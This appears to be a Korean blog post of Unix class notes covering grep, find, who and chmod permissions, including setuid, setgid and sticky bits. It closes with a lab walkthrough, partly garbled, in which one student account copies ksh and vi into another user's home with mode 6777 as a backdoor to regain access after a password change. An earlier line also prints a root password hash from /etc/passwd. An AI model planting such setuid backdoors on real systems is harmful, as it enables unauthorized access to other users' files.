▶ 특정 Pattern을 찾아주는 기능
multihp1:/data2/unix/unix10>who | cut -c1-11 | uniq | grep unix
unix09
unix07
unix13
unix08
unix03
unix00
unix11
unix04
unix15
unix01
unix00
unix13
unix11
unix12
unix06
unix02
unix15
unix05
unix12
unix10
unix08
▶ *.out --> '*.out'
multihp1:/data2/unix/unix10>touch a.out b.out c.out
multihp1:/data2/unix/unix10>find . -name *.out
find: 연결(conjunction)이 빠졌습니다.
multihp1:/data2/unix/unix10>find . -name '*.out'
./a.out
./b.out
./c.out
multihp1:/data2/unix/unix10>grep root /etc/passwd
root:fPyHC2zqO3F3Q:0:3::/:/sbin/sh
multihp1:/data2/unix/unix10>who | grep root
root console 8월 23일 13:49
multihp1:/data2/unix/unix10>who | grep unix10
unix10 pts/tX 11월 22일 12:12
▶ 리모트로 연결한 원격 ip 추적하기
multihp1:/data2/unix/unix10>who -R | grep unix10
unix10 pts/tX 11월 22일 12:12 (70.12.111.145)
grep
grep [옵션] 문자열패턴 [파일명]
-i : 패턴에서 대소문자를 무시하고 출력한다.
-l : 패턴에서 일치하는 파일의 파일명만 출력한다.
-v : 패턴을 포함하고 있지 않은 라인을 출력한다.
▶ 패턴으로 찾는 것임
multihp1:/data2/unix/unix10>who | grep unix10
unix10 pts/tX 11월 22일 12:12
▶ 여기서는 pattern으로 찾는 것이 아니라 word로 찾는 것임
multihp1:/data2/unix/unix10>who | grep -w unix10
unix10 pts/tX 11월 22일 12:12
multihp1:/data2/unix/unix10>cmp suho suho1
suho와(과) suho1이(가) 다릅니다: 2 문자 1 줄
multihp1:/data2/unix/unix10>diff suho suho1
1c1
< ahnsuho
---
> adfasdfdsfahnsuho
multihp1:/data2/unix/unix10>
현재 unix 시스템에 로그인 되어 있는 사용자 중 'unix'라는 이름이 포함되어 있는 사용자들의 목록을 확인 단 목록은 순서대로 정렬되어야 한다. 이 작업을 수행할 수 있는 명령어는?
multihp1:/data2/unix/unix10>who | grep unix | sort
unix00 pts/tI 11월 22일 09:17
unix00 pts/tN 11월 22일 09:17
unix01 pts/tM 11월 22일 14:07
unix02 pts/tS 11월 22일 09:30
unix03 pts/tH 11월 22일 11:50
unix04 pts/tK 11월 22일 09:55
unix05 pts/tU 11월 22일 13:47
unix05 pts/tV 11월 22일 09:50
unix06 pts/tR 11월 22일 13:40
unix07 pts/tE 11월 22일 09:14
unix08 pts/tG 11월 22일 09:17
unix08 pts/tY 11월 22일 10:27
unix08 pts/tZ 11월 22일 11:51
unix09 pts/tc 11월 22일 08:56
unix10 pts/tX 11월 22일 12:12
unix11 pts/tJ 11월 22일 09:17
unix11 pts/tP 11월 22일 09:18
unix12 pts/tQ 11월 22일 09:18
unix12 pts/tW 11월 22일 10:08
unix13 pts/tF 11월 22일 10:57
unix13 pts/tO 11월 22일 11:48
unix15 pts/tL 11월 22일 11:45
unix15 pts/tT 11월 22일 11:49
▶ Permission : 허가
read : r :4
write : w :2
execute : e :1
rwx rwx rwx : (owner) (group) (others)
chmod (change mode)명령어
▶ 파일 권한 명령
multihp1:/data2/unix/unix10>touch f1
multihp1:/data2/unix/unix10>ls -l f1
-rw-rw-rw- 1 unix10 unix 0 11월 22일 14:47 f1
multihp1:/data2/unix/unix10>chmod u+x,g-w,o-rw f1
▶ a는 all이다. rwx 모두에 대해서 user에 상관없이 모두 permissionㅇ르 준다.
multihp1:/data2/unix/unix10>chmod a=rwx f1
multihp1:/data2/unix/unix10>ls -l f1
-rwxrwxrwx 1 unix10 unix 0 11월 22일 14:47 f1
▶ excute(x)의 permission을 모두 제거
multihp1:/data2/unix/unix10>chmod a-x f1
multihp1:/data2/unix/unix10>ls -l f1
-rw-rw-rw- 1 unix10 unix 0 11월 22일 14:47 f1
multihp1:/data2/unix/unix10>
▶ excute(x)의 permission을 다시 주기
multihp1:/data2/unix/unix10>chmod a+x f1
multihp1:/data2/unix/unix10>ls -l f1
-rwxrwxrwx 1 unix10 unix 0 11월 22일 14:47 f1
▶ excute(x)의 permission을 모두 제거
multihp1:/data2/unix/unix10>chmod -x f1
multihp1:/data2/unix/unix10>ls -l f1
-rw-rw-rw- 1 unix10 unix 0 11월 22일 14:47 f1
숫자로 주기
rwx r-- ---
(7) (4) (0)
rw- r-- ---
(6) (4) (0)
multihp1:/data2/unix/unix10>chmod 740 f2
multihp1:/data2/unix/unix10>ls -l f2
-rwxr----- 1 unix10 unix 0 11월 22일 14:54 f2
multihp1:/data2/unix/unix10>chmod 644 f2
multihp1:/data2/unix/unix10>ls -l f2
-rw-r--r-- 1 unix10 unix 0 11월 22일 14:54 f2
multihp1:/data2/unix/unix10>chmod 550 f2
multihp1:/data2/unix/unix10>ls -l f2
-r-xr-x--- 1 unix10 unix 0 11월 22일 14:54 f2
디렉토리는 최소한 read, execute는 준다.
: cd 상호 이동이 가능해야 하므로
multihp1:/data2/unix/unix10>ls -l /data2/unix/unix10
총 2 블록입니다.
drwxrwxrwx 3 unix10 unix 96 11월 22일 11:08 a
dr-xr-xr-x 2 unix10 unix 1024 11월 21일 16:27 cron
-rw-rw-rw- 1 unix10 unix 0 11월 22일 14:47 f1
-r-xr-x--- 1 unix10 unix 0 11월 22일 14:54 f2
▶ group, owner에서 write permission을 제거
multihp1:/data2/unix/unix10>ls -l readme.txt
-rw-rw-rw- 1 unix10 unix 0 11월 22일 15:06 readme.txt
multihp1:/data2/unix/unix10>chmod go-w readme.txt
multihp1:/data2/unix/unix10>ls -l readme.txt
-rw-r--r-- 1 unix10 unix 0 11월 22일 15:06 readme.txt
▶ group에는 execute는 permission은 추가 , owner에서는 read permission을 제거한다.
multihp1:/data2/unix/unix10>ls -l readme.txt
-rw-r--r-- 1 unix10 unix 0 11월 22일 15:06 readme.txt
multihp1:/data2/unix/unix10>chmod g+x,o-r readme.txt
multihp1:/data2/unix/unix10>ls -l readme.txt
-rw-r-x--- 1 unix10 unix 0 11월 22일 15:06 readme.txt
▶ a를 사용을 할 경우는 read권한은 주고 나머지 권한은 없어지므로 a를 쓸때는 주의해야 함
multihp1:/data2/unix/unix10>chmod a=r readme.txt
multihp1:/data2/unix/unix10>ls -l readme.txt
-r--r--r-- 1 unix10 unix 0 11월 22일 15:06 readme.txt
▶ chmod에서
set-uid : 프로그램 실행동안 uid 변경
set-gid : 프로그램 실행동안 gid 변경
sticky : 파일은 코드 공유, 디렉토리는 공용 디렉토리에 rwxrwxrwx로 열려 있기 때문에 하위 파일이 read only여도 삭제됨 --> 해결
set user id bit : 4
set group id bit : 2
sticky bit : 1
rwx rwx rwx
여기서 x필드를 빌려서 사용하기로 함
rws rwx rwx (set user id bit)
rwx rws rwx (set group id bit)
rwx rwx rwt (stick bit)
chmod [4:setuid, 2:setgid, 1:sticky] [owner] [group] [others]
chmod 6755
-> rwxr-xr-x (1)
-> rwsr-sr-x (2)
(1)이 setuid, setgid로 인하여 (2)로 변경되는 것이다.
multihp1:/data2/unix/unix10>touch f3
multihp1:/data2/unix/unix10>ls -l f3
-rw-rw-rw- 1 unix10 unix 0 11월 22일 15:23 f3
multihp1:/data2/unix/unix10>chmod 4755 f3
multihp1:/data2/unix/unix10>ls -l f3
-rwsr-xr-x 1 unix10 unix 0 11월 22일 15:23 f3
multihp1:/data2/unix/unix10>chmod 2755 f3
multihp1:/data2/unix/unix10>ls -l f3
-rwxr-sr-x 1 unix10 unix 0 11월 22일 15:23 f3
multihp1:/data2/unix/unix10>chmod 1755 f3
multihp1:/data2/unix/unix10>ls -l f3
-rwxr-xr-x 1 unix10 unix 0 11월 22일 15:23 f3
multihp1:/data2/unix/unix10>mkdir lab
multihp1:/data2/unix/unix10>ls -ld lab
drwxrwxrwx 2 unix10 unix 96 11월 22일 15:24 lab
multihp1:/data2/unix/unix10>chmod 1777 lab
multihp1:/data2/unix/unix10>ls -ld lab
drwxrwxrwt 2 unix10 unix 96 11월 22일 15:24 lab
multihp1:/data2/unix/unix10>ls -l /usr/bin/passwd
-r-sr-xr-x 5 root bin 53248 2009.04.24 /usr/bin/passwd
multihp1:/data2/unix/unix10>ls -l /usr/bin/chsh
-r-sr-xr-x 5 root bin 53248 2009.04.24 /usr/bin/chsh
multihp1:/data2/unix/unix10>ls -l /etc/passwd
-r--r--r-- 1 root sys 12939 11월 21일 15:51 /etc/passwd
1. 처음에 unix10이 공격자가 되어 공격 그리고 백도어 설치
unix10> su unix11
암호를 입력하시오.
unix11> cp /usr/bin/ksh /data2/unix/unix11/mkksh
unix11> chmod 6777 /data2/unix/unix11/myksh
unix11> ls -l /data2/unix/unix11/myksh
-rwsrwsrwx unix11 unix
unix11>exit
unix10>
2. 어! 암호가 바뀌었네.. 그러면 전에 만들어두었던 백도어로 침투
해킹을 당했어.. 그래서 암호를 바꾸었어.
unix10> su unix11
암호를 입력하시오. 어~! 암호가 바뀌었네
unix10> cd ../unix11
unix10> ls ---> myksh가 있는지 확인한다.
unix10> ./myksh
unix10> id
=============================================================================
해커 unix10
unix10> su unix11
암호를 입력해라
unix11> cp /usr/bin/vi ~/vi
unix11> chmod 6777 ~/vi
unix11> exit
unix10>id
내꺼야 (해커)
unix10>cd ../unix11
unix10>vi topsecret --> 못 연다.
(이유:난 unix10이니까 그리고 vi는 /usr/bin/vi가 실행
unix 10> ./ topsecret
열린다. 수정 편집 ./vi가 실행중에는 나는 unix11으로 바뀌니까
피해자 unix11
unix11> vi topsecret
sdfjkldfjlsdfjsldfjksdalfjsldf
unix11> chmod 600 topsecret
unix11> ls -l topsecret
'04번. IT 힌트얻기 > ▶ UNIX' 카테고리의 다른 글
Unix-basic-08 (0) | 2011.11.24 |
---|---|
Unix-basic-05 (0) | 2011.11.23 |
Unix-Basic-03 (0) | 2011.11.22 |
Unix-Basic-02 (0) | 2011.11.21 |
Unix-Basic-01 (0) | 2011.11.21 |